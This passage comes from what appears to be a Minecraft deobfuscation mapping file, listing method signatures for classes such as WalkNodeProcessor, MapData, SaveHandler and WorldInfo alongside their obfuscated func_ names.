(Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandPardonPlayer/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandPardonPlayer/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandPardonPlayer/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandPardonPlayer/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/postProcess ()V net/minecraft/world/pathfinder/WalkNodeProcessor/func_176163_a ()V +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/initProcessor (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;)V net/minecraft/world/pathfinder/WalkNodeProcessor/func_176162_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/func_176170_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;IIIIIIZZZ)I net/minecraft/world/pathfinder/WalkNodeProcessor/func_176170_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/entity/Entity;IIIIIIZZZ)I +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/getPathPointTo (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/WalkNodeProcessor/func_176161_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/getPathPointToCoords (Lnet/minecraft/entity/Entity;DDD)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/WalkNodeProcessor/func_176160_a (Lnet/minecraft/entity/Entity;DDD)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/getVerticalOffset (Lnet/minecraft/entity/Entity;III)I net/minecraft/world/pathfinder/WalkNodeProcessor/func_176177_a (Lnet/minecraft/entity/Entity;III)I +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/getSafePoint (Lnet/minecraft/entity/Entity;IIII)Lnet/minecraft/pathfinding/PathPoint; net/minecraft/world/pathfinder/WalkNodeProcessor/func_176171_a (Lnet/minecraft/entity/Entity;IIII)Lnet/minecraft/pathfinding/PathPoint; +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/setEnterDoors (Z)V net/minecraft/world/pathfinder/WalkNodeProcessor/func_176175_a (Z)V +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/findPathOptions ([Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/entity/Entity;Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;F)I net/minecraft/world/pathfinder/WalkNodeProcessor/func_176164_a ([Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/entity/Entity;Lnet/minecraft/pathfinding/PathPoint;Lnet/minecraft/pathfinding/PathPoint;F)I +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/getEnterDoors ()Z net/minecraft/world/pathfinder/WalkNodeProcessor/func_176179_b ()Z +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/setBreakDoors (Z)V net/minecraft/world/pathfinder/WalkNodeProcessor/func_176172_b (Z)V +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/setAvoidsWater (Z)V net/minecraft/world/pathfinder/WalkNodeProcessor/func_176176_c (Z)V +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/getCanSwim ()Z net/minecraft/world/pathfinder/WalkNodeProcessor/func_176174_d ()Z +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/setCanSwim (Z)V net/minecraft/world/pathfinder/WalkNodeProcessor/func_176178_d (Z)V +MD: net/minecraft/world/pathfinder/WalkNodeProcessor/getAvoidsWater ()Z net/minecraft/world/pathfinder/WalkNodeProcessor/func_176173_e ()Z +MD: net/minecraft/world/WorldSavedData/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/WorldSavedData/func_76184_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/WorldSavedData/setDirty (Z)V net/minecraft/world/WorldSavedData/func_76186_a (Z)V +MD: net/minecraft/world/WorldSavedData/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/WorldSavedData/func_76187_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/WorldSavedData/markDirty ()V net/minecraft/world/WorldSavedData/func_76185_a ()V +MD: net/minecraft/world/WorldSavedData/isDirty ()Z net/minecraft/world/WorldSavedData/func_76188_b ()Z +MD: net/minecraft/util/Vec4b/func_176110_a ()B net/minecraft/util/Vec4b/func_176110_a ()B +MD: net/minecraft/util/Vec4b/func_176112_b ()B net/minecraft/util/Vec4b/func_176112_b ()B +MD: net/minecraft/util/Vec4b/func_176113_c ()B net/minecraft/util/Vec4b/func_176113_c ()B +MD: net/minecraft/util/Vec4b/func_176111_d ()B net/minecraft/util/Vec4b/func_176111_d ()B +MD: net/minecraft/util/Vec4b/equals (Ljava/lang/Object;)Z net/minecraft/util/Vec4b/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/Vec4b/hashCode ()I net/minecraft/util/Vec4b/hashCode ()I +MD: net/minecraft/world/storage/MapData$MapInfo/update (II)V net/minecraft/world/storage/MapData$MapInfo/func_176102_a (II)V +MD: net/minecraft/world/storage/MapData$MapInfo/getPacket (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/network/Packet; net/minecraft/world/storage/MapData$MapInfo/func_176101_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/network/Packet; +MD: net/minecraft/world/storage/MapData/calculateMapCenter (DDI)V net/minecraft/world/storage/MapData/func_176054_a (DDI)V +MD: net/minecraft/world/storage/MapData/updateMapData (II)V net/minecraft/world/storage/MapData/func_176053_a (II)V +MD: net/minecraft/world/storage/MapData/updateDecorations (ILnet/minecraft/world/World;Ljava/lang/String;DDD)V net/minecraft/world/storage/MapData/func_82567_a (ILnet/minecraft/world/World;Ljava/lang/String;DDD)V +MD: net/minecraft/world/storage/MapData/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/storage/MapData/func_76184_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/storage/MapData/getMapInfo (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/world/storage/MapData$MapInfo; net/minecraft/world/storage/MapData/func_82568_a (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/world/storage/MapData$MapInfo; +MD: net/minecraft/world/storage/MapData/updateVisiblePlayers (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/world/storage/MapData/func_76191_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/world/storage/MapData/getMapPacket (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/network/Packet; net/minecraft/world/storage/MapData/func_176052_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/network/Packet; +MD: net/minecraft/world/storage/MapData/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/storage/MapData/func_76187_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/chunk/storage/AnvilSaveHandler/flush ()V net/minecraft/world/chunk/storage/AnvilSaveHandler/func_75759_a ()V +MD: net/minecraft/world/chunk/storage/AnvilSaveHandler/getChunkLoader (Lnet/minecraft/world/WorldProvider;)Lnet/minecraft/world/chunk/storage/IChunkLoader; net/minecraft/world/chunk/storage/AnvilSaveHandler/func_75763_a (Lnet/minecraft/world/WorldProvider;)Lnet/minecraft/world/chunk/storage/IChunkLoader; +MD: net/minecraft/world/chunk/storage/AnvilSaveHandler/saveWorldInfoWithPlayer (Lnet/minecraft/world/storage/WorldInfo;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/chunk/storage/AnvilSaveHandler/func_75755_a (Lnet/minecraft/world/storage/WorldInfo;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter$1/accept (Ljava/io/File;Ljava/lang/String;)Z net/minecraft/world/chunk/storage/AnvilSaveConverter$1/accept (Ljava/io/File;Ljava/lang/String;)Z +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/getName ()Ljava/lang/String; net/minecraft/world/chunk/storage/AnvilSaveConverter/func_154333_a ()Ljava/lang/String; +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/convertChunks (Ljava/io/File;Ljava/io/File;Lnet/minecraft/world/biome/WorldChunkManager;IILnet/minecraft/util/IProgressUpdate;)V net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75811_a (Ljava/io/File;Ljava/io/File;Lnet/minecraft/world/biome/WorldChunkManager;IILnet/minecraft/util/IProgressUpdate;)V +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/convertFile (Ljava/io/File;Ljava/lang/Iterable;Lnet/minecraft/world/biome/WorldChunkManager;IILnet/minecraft/util/IProgressUpdate;)V net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75813_a (Ljava/io/File;Ljava/lang/Iterable;Lnet/minecraft/world/biome/WorldChunkManager;IILnet/minecraft/util/IProgressUpdate;)V +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/addRegionFilesToCollection (Ljava/io/File;Ljava/util/Collection;)V net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75810_a (Ljava/io/File;Ljava/util/Collection;)V +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/isConvertible (Ljava/lang/String;)Z net/minecraft/world/chunk/storage/AnvilSaveConverter/func_154334_a (Ljava/lang/String;)Z +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/convertMapFormat (Ljava/lang/String;Lnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75805_a (Ljava/lang/String;Lnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/getSaveLoader (Ljava/lang/String;Z)Lnet/minecraft/world/storage/ISaveHandler; net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75804_a (Ljava/lang/String;Z)Lnet/minecraft/world/storage/ISaveHandler; +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/getSaveList ()Ljava/util/List; net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75799_b ()Ljava/util/List; +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/isOldMapFormat (Ljava/lang/String;)Z net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75801_b (Ljava/lang/String;)Z +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/getSaveVersion ()I net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75812_c ()I +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/flushCache ()V net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75800_d ()V +MD: net/minecraft/world/chunk/storage/AnvilSaveConverter/createFile (Ljava/lang/String;)V net/minecraft/world/chunk/storage/AnvilSaveConverter/func_75809_f (Ljava/lang/String;)V +MD: net/minecraft/world/storage/DerivedWorldInfo/getNBTTagCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/storage/DerivedWorldInfo/func_76066_a ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/storage/DerivedWorldInfo/setSpawnX (I)V net/minecraft/world/storage/DerivedWorldInfo/func_76058_a (I)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setTerrainType (Lnet/minecraft/world/WorldType;)V net/minecraft/world/storage/DerivedWorldInfo/func_76085_a (Lnet/minecraft/world/WorldType;)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setSpawn (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/storage/DerivedWorldInfo/func_176143_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/storage/DerivedWorldInfo/cloneNBTCompound (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/storage/DerivedWorldInfo/func_76082_a (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/storage/DerivedWorldInfo/setWorldName (Ljava/lang/String;)V net/minecraft/world/storage/DerivedWorldInfo/func_76062_a (Ljava/lang/String;)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setDifficulty (Lnet/minecraft/world/EnumDifficulty;)V net/minecraft/world/storage/DerivedWorldInfo/func_176144_a (Lnet/minecraft/world/EnumDifficulty;)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setThundering (Z)V net/minecraft/world/storage/DerivedWorldInfo/func_76069_a (Z)V +MD: net/minecraft/world/storage/DerivedWorldInfo/getSeed ()J net/minecraft/world/storage/DerivedWorldInfo/func_76063_b ()J +MD: net/minecraft/world/storage/DerivedWorldInfo/setSpawnY (I)V net/minecraft/world/storage/DerivedWorldInfo/func_76056_b (I)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setWorldTotalTime (J)V net/minecraft/world/storage/DerivedWorldInfo/func_82572_b (J)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setRaining (Z)V net/minecraft/world/storage/DerivedWorldInfo/func_76084_b (Z)V +MD: net/minecraft/world/storage/DerivedWorldInfo/getSpawnX ()I net/minecraft/world/storage/DerivedWorldInfo/func_76079_c ()I +MD: net/minecraft/world/storage/DerivedWorldInfo/setSpawnZ (I)V net/minecraft/world/storage/DerivedWorldInfo/func_76087_c (I)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setWorldTime (J)V net/minecraft/world/storage/DerivedWorldInfo/func_76068_b (J)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setAllowCommands (Z)V net/minecraft/world/storage/DerivedWorldInfo/func_176121_c (Z)V +MD: net/minecraft/world/storage/DerivedWorldInfo/getSpawnY ()I net/minecraft/world/storage/DerivedWorldInfo/func_76075_d ()I +MD: net/minecraft/world/storage/DerivedWorldInfo/setServerInitialized (Z)V net/minecraft/world/storage/DerivedWorldInfo/func_76091_d (Z)V +MD: net/minecraft/world/storage/DerivedWorldInfo/getSpawnZ ()I net/minecraft/world/storage/DerivedWorldInfo/func_76074_e ()I +MD: net/minecraft/world/storage/DerivedWorldInfo/setSaveVersion (I)V net/minecraft/world/storage/DerivedWorldInfo/func_76078_e (I)V +MD: net/minecraft/world/storage/DerivedWorldInfo/setDifficultyLocked (Z)V net/minecraft/world/storage/DerivedWorldInfo/func_180783_e (Z)V +MD: net/minecraft/world/storage/DerivedWorldInfo/getWorldTotalTime ()J net/minecraft/world/storage/DerivedWorldInfo/func_82573_f ()J +MD: net/minecraft/world/storage/DerivedWorldInfo/setThunderTime (I)V net/minecraft/world/storage/DerivedWorldInfo/func_76090_f (I)V +MD: net/minecraft/world/storage/DerivedWorldInfo/getWorldTime ()J net/minecraft/world/storage/DerivedWorldInfo/func_76073_f ()J +MD: net/minecraft/world/storage/DerivedWorldInfo/setRainTime (I)V net/minecraft/world/storage/DerivedWorldInfo/func_76080_g (I)V +MD: net/minecraft/world/storage/DerivedWorldInfo/getSizeOnDisk ()J net/minecraft/world/storage/DerivedWorldInfo/func_76092_g ()J +MD: net/minecraft/world/storage/DerivedWorldInfo/getPlayerNBTTagCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/storage/DerivedWorldInfo/func_76072_h ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/storage/DerivedWorldInfo/getWorldName ()Ljava/lang/String; net/minecraft/world/storage/DerivedWorldInfo/func_76065_j ()Ljava/lang/String; +MD: net/minecraft/world/storage/DerivedWorldInfo/getSaveVersion ()I net/minecraft/world/storage/DerivedWorldInfo/func_76088_k ()I +MD: net/minecraft/world/storage/DerivedWorldInfo/getLastTimePlayed ()J net/minecraft/world/storage/DerivedWorldInfo/func_76057_l ()J +MD: net/minecraft/world/storage/DerivedWorldInfo/isThundering ()Z net/minecraft/world/storage/DerivedWorldInfo/func_76061_m ()Z +MD: net/minecraft/world/storage/DerivedWorldInfo/getThunderTime ()I net/minecraft/world/storage/DerivedWorldInfo/func_76071_n ()I +MD: net/minecraft/world/storage/DerivedWorldInfo/isRaining ()Z net/minecraft/world/storage/DerivedWorldInfo/func_76059_o ()Z +MD: net/minecraft/world/storage/DerivedWorldInfo/getRainTime ()I net/minecraft/world/storage/DerivedWorldInfo/func_76083_p ()I +MD: net/minecraft/world/storage/DerivedWorldInfo/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/storage/DerivedWorldInfo/func_76077_q ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/storage/DerivedWorldInfo/isMapFeaturesEnabled ()Z net/minecraft/world/storage/DerivedWorldInfo/func_76089_r ()Z +MD: net/minecraft/world/storage/DerivedWorldInfo/isHardcoreModeEnabled ()Z net/minecraft/world/storage/DerivedWorldInfo/func_76093_s ()Z +MD: net/minecraft/world/storage/DerivedWorldInfo/getTerrainType ()Lnet/minecraft/world/WorldType; net/minecraft/world/storage/DerivedWorldInfo/func_76067_t ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/storage/DerivedWorldInfo/areCommandsAllowed ()Z net/minecraft/world/storage/DerivedWorldInfo/func_76086_u ()Z +MD: net/minecraft/world/storage/DerivedWorldInfo/isInitialized ()Z net/minecraft/world/storage/DerivedWorldInfo/func_76070_v ()Z +MD: net/minecraft/world/storage/DerivedWorldInfo/getGameRulesInstance ()Lnet/minecraft/world/GameRules; net/minecraft/world/storage/DerivedWorldInfo/func_82574_x ()Lnet/minecraft/world/GameRules; +MD: net/minecraft/world/storage/DerivedWorldInfo/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/world/storage/DerivedWorldInfo/func_176130_y ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/world/storage/DerivedWorldInfo/isDifficultyLocked ()Z net/minecraft/world/storage/DerivedWorldInfo/func_176123_z ()Z +MD: net/minecraft/world/storage/SaveHandler/flush ()V net/minecraft/world/storage/SaveHandler/func_75759_a ()V +MD: net/minecraft/world/storage/SaveHandler/getChunkLoader (Lnet/minecraft/world/WorldProvider;)Lnet/minecraft/world/chunk/storage/IChunkLoader; net/minecraft/world/storage/SaveHandler/func_75763_a (Lnet/minecraft/world/WorldProvider;)Lnet/minecraft/world/chunk/storage/IChunkLoader; +MD: net/minecraft/world/storage/SaveHandler/saveWorldInfo (Lnet/minecraft/world/storage/WorldInfo;)V net/minecraft/world/storage/SaveHandler/func_75761_a (Lnet/minecraft/world/storage/WorldInfo;)V +MD: net/minecraft/world/storage/SaveHandler/saveWorldInfoWithPlayer (Lnet/minecraft/world/storage/WorldInfo;Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/world/storage/SaveHandler/func_75755_a (Lnet/minecraft/world/storage/WorldInfo;Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/world/storage/SaveHandler/getMapFileFromName (Ljava/lang/String;)Ljava/io/File; net/minecraft/world/storage/SaveHandler/func_75758_b (Ljava/lang/String;)Ljava/io/File; +MD: net/minecraft/world/storage/SaveHandler/writePlayerData (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/world/storage/SaveHandler/func_75753_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/world/storage/SaveHandler/getWorldDirectory ()Ljava/io/File; net/minecraft/world/storage/SaveHandler/func_75765_b ()Ljava/io/File; +MD: net/minecraft/world/storage/SaveHandler/readPlayerData (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/storage/SaveHandler/func_75752_b (Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/storage/SaveHandler/checkSessionLock ()V net/minecraft/world/storage/SaveHandler/func_75762_c ()V +MD: net/minecraft/world/storage/SaveHandler/loadWorldInfo ()Lnet/minecraft/world/storage/WorldInfo; net/minecraft/world/storage/SaveHandler/func_75757_d ()Lnet/minecraft/world/storage/WorldInfo; +MD: net/minecraft/world/storage/SaveHandler/getPlayerNBTManager ()Lnet/minecraft/world/storage/IPlayerFileData; net/minecraft/world/storage/SaveHandler/func_75756_e ()Lnet/minecraft/world/storage/IPlayerFileData; +MD: net/minecraft/world/storage/SaveHandler/getAvailablePlayerDat ()[Ljava/lang/String; net/minecraft/world/storage/SaveHandler/func_75754_f ()[Ljava/lang/String; +MD: net/minecraft/world/storage/SaveHandler/getWorldDirectoryName ()Ljava/lang/String; net/minecraft/world/storage/SaveHandler/func_75760_g ()Ljava/lang/String; +MD: net/minecraft/world/storage/SaveHandler/setSessionLock ()V net/minecraft/world/storage/SaveHandler/func_75766_h ()V +MD: net/minecraft/world/storage/SaveFormatOld/getName ()Ljava/lang/String; net/minecraft/world/storage/SaveFormatOld/func_154333_a ()Ljava/lang/String; +MD: net/minecraft/world/storage/SaveFormatOld/isConvertible (Ljava/lang/String;)Z net/minecraft/world/storage/SaveFormatOld/func_154334_a (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/SaveFormatOld/renameWorld (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/world/storage/SaveFormatOld/func_75806_a (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/world/storage/SaveFormatOld/convertMapFormat (Ljava/lang/String;Lnet/minecraft/util/IProgressUpdate;)Z net/minecraft/world/storage/SaveFormatOld/func_75805_a (Ljava/lang/String;Lnet/minecraft/util/IProgressUpdate;)Z +MD: net/minecraft/world/storage/SaveFormatOld/getSaveLoader (Ljava/lang/String;Z)Lnet/minecraft/world/storage/ISaveHandler; net/minecraft/world/storage/SaveFormatOld/func_75804_a (Ljava/lang/String;Z)Lnet/minecraft/world/storage/ISaveHandler; +MD: net/minecraft/world/storage/SaveFormatOld/deleteFiles ([Ljava/io/File;)Z net/minecraft/world/storage/SaveFormatOld/func_75807_a ([Ljava/io/File;)Z +MD: net/minecraft/world/storage/SaveFormatOld/getSaveList ()Ljava/util/List; net/minecraft/world/storage/SaveFormatOld/func_75799_b ()Ljava/util/List; +MD: net/minecraft/world/storage/SaveFormatOld/isOldMapFormat (Ljava/lang/String;)Z net/minecraft/world/storage/SaveFormatOld/func_75801_b (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/SaveFormatOld/getWorldInfo (Ljava/lang/String;)Lnet/minecraft/world/storage/WorldInfo; net/minecraft/world/storage/SaveFormatOld/func_75803_c (Ljava/lang/String;)Lnet/minecraft/world/storage/WorldInfo; +MD: net/minecraft/world/storage/SaveFormatOld/flushCache ()V net/minecraft/world/storage/SaveFormatOld/func_75800_d ()V +MD: net/minecraft/world/storage/SaveFormatOld/isNewLevelIdAcceptable (Ljava/lang/String;)Z net/minecraft/world/storage/SaveFormatOld/func_154335_d (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/SaveFormatOld/deleteWorldDirectory (Ljava/lang/String;)Z net/minecraft/world/storage/SaveFormatOld/func_75802_e (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/SaveFormatOld/canLoadWorld (Ljava/lang/String;)Z net/minecraft/world/storage/SaveFormatOld/func_90033_f (Ljava/lang/String;)Z +MD: net/minecraft/world/storage/WorldInfo$1/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$1/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$1/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$1/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo$2/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$2/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$2/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$2/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo$3/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$3/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$3/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$3/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo$4/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$4/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$4/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$4/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo$5/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$5/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$5/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$5/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo$6/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$6/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$6/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$6/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo$7/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$7/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$7/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$7/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo$8/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$8/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$8/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$8/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo$9/call ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo$9/call ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo$9/call ()Ljava/lang/Object; net/minecraft/world/storage/WorldInfo$9/call ()Ljava/lang/Object; +MD: net/minecraft/world/storage/WorldInfo/getCleanWeatherTime ()I net/minecraft/world/storage/WorldInfo/func_176133_A ()I +MD: net/minecraft/world/storage/WorldInfo/getGeneratorOptions ()Ljava/lang/String; net/minecraft/world/storage/WorldInfo/func_82571_y ()Ljava/lang/String; +MD: net/minecraft/world/storage/WorldInfo/getBorderCenterX ()D net/minecraft/world/storage/WorldInfo/func_176120_C ()D +MD: net/minecraft/world/storage/WorldInfo/getBorderCenterZ ()D net/minecraft/world/storage/WorldInfo/func_176126_D ()D +MD: net/minecraft/world/storage/WorldInfo/getBorderSize ()D net/minecraft/world/storage/WorldInfo/func_176137_E ()D +MD: net/minecraft/world/storage/WorldInfo/getBorderLerpTime ()J net/minecraft/world/storage/WorldInfo/func_176134_F ()J +MD: net/minecraft/world/storage/WorldInfo/getBorderLerpTarget ()D net/minecraft/world/storage/WorldInfo/func_176132_G ()D +MD: net/minecraft/world/storage/WorldInfo/getBorderSafeZone ()D net/minecraft/world/storage/WorldInfo/func_176138_H ()D +MD: net/minecraft/world/storage/WorldInfo/getBorderDamagePerBlock ()D net/minecraft/world/storage/WorldInfo/func_176140_I ()D +MD: net/minecraft/world/storage/WorldInfo/getBorderWarningDistance ()I net/minecraft/world/storage/WorldInfo/func_176131_J ()I +MD: net/minecraft/world/storage/WorldInfo/getBorderWarningTime ()I net/minecraft/world/storage/WorldInfo/func_176139_K ()I +MD: net/minecraft/world/storage/WorldInfo/getNBTTagCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/storage/WorldInfo/func_76066_a ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/storage/WorldInfo/setBorderSize (D)V net/minecraft/world/storage/WorldInfo/func_176145_a (D)V +MD: net/minecraft/world/storage/WorldInfo/setSpawnX (I)V net/minecraft/world/storage/WorldInfo/func_76058_a (I)V +MD: net/minecraft/world/storage/WorldInfo/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/world/storage/WorldInfo/func_76060_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/world/storage/WorldInfo/populateFromWorldSettings (Lnet/minecraft/world/WorldSettings;)V net/minecraft/world/storage/WorldInfo/func_176127_a (Lnet/minecraft/world/WorldSettings;)V +MD: net/minecraft/world/storage/WorldInfo/setTerrainType (Lnet/minecraft/world/WorldType;)V net/minecraft/world/storage/WorldInfo/func_76085_a (Lnet/minecraft/world/WorldType;)V +MD: net/minecraft/world/storage/WorldInfo/access$000 (Lnet/minecraft/world/storage/WorldInfo;)Lnet/minecraft/world/WorldType; net/minecraft/world/storage/WorldInfo/access$000 (Lnet/minecraft/world/storage/WorldInfo;)Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/storage/WorldInfo/addToCrashReport (Lnet/minecraft/crash/CrashReportCategory;)V net/minecraft/world/storage/WorldInfo/func_85118_a (Lnet/minecraft/crash/CrashReportCategory;)V +MD: net/minecraft/world/storage/WorldInfo/setSpawn (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/storage/WorldInfo/func_176143_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/storage/WorldInfo/cloneNBTCompound (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/world/storage/WorldInfo/func_76082_a (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/world/storage/WorldInfo/updateTagCompound 